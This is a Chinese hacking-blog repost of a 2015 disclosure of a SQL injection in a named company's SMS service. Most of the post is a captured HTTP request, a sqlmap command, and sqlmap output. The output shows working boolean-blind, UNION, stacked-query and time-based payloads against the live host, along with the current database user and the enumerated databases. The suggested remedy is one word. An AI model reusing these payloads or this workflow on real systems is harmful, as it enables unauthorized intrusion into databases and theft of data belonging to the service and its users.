记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

嘉挚科技短信通sql注入

2015-05-09 10:05

http://sms.finereason.com/

首先注册一个用户,登陆。然后在


http://sms.finereason.com/member/ComSms.asp?tid=1

存在在注入。用burp抓包,然后保存。


GET /member/ComSms.asp?tid=1* HTTP/1.1
Host: sms.finereason.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDACQQQBBQ=LCCGAAPCOOIFOPAABCCAEHHF

[root@Hacker~]# Sqlmap -r "C:\Users\A\Desktop\3.txt" --delay=2 --current-us
er --dbs

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 13:21:16

[13:21:16] [INFO] parsing HTTP request from 'C:\Users\A\Desktop\3.txt'
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[13:21:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:21:18] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 7289=7289

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=-9845 UNION ALL
SELECT NULL,NULL,CHAR(113)+CHAR(103)+CHAR(119)+CHAR(112)+CHAR(113)+CHAR(75)+CHAR
(81)+CHAR(75)+CHAR(86)+CHAR(85)+CHAR(65)+CHAR(85)+CHAR(100)+CHAR(69)+CHAR(67)+CH
AR(113)+CHAR(98)+CHAR(102)+CHAR(105)+CHAR(113),NULL,NULL--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1; WAITFOR DELAY
'0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 5345=(SELE
CT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS
sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
[13:21:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[13:21:21] [INFO] fetching current user
current user: 'frsms'
[13:21:21] [INFO] fetching database names
[13:21:23] [WARNING] the SQL query provided does not return any output
[13:21:23] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[13:21:23] [INFO] fetching number of databases
[13:21:23] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:21:23] [INFO] retrieved:
[13:21:29] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[13:21:55] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads

[13:22:00] [ERROR] unable to retrieve the number of databases
[13:22:02] [WARNING] reflective value(s) found and filtering out
available databases [6]:
[*] frsms
[*] master
[*] model
[*] msdb
[*] tempdb
[*] ZPHManager

[13:22:17] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 7 times
[13:22:17] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[13:22:17] [INFO] fetched data logged to text files under 'G:\SQLMAP~1.4\Bin\output\sms.finereason.com'

[*] shutting down at 13:22:17

解决方案:

过滤


知识来源: www.2cto.com/Article/201505/397725.html

阅读:124593 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“嘉挚科技短信通sql注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云

本页关键词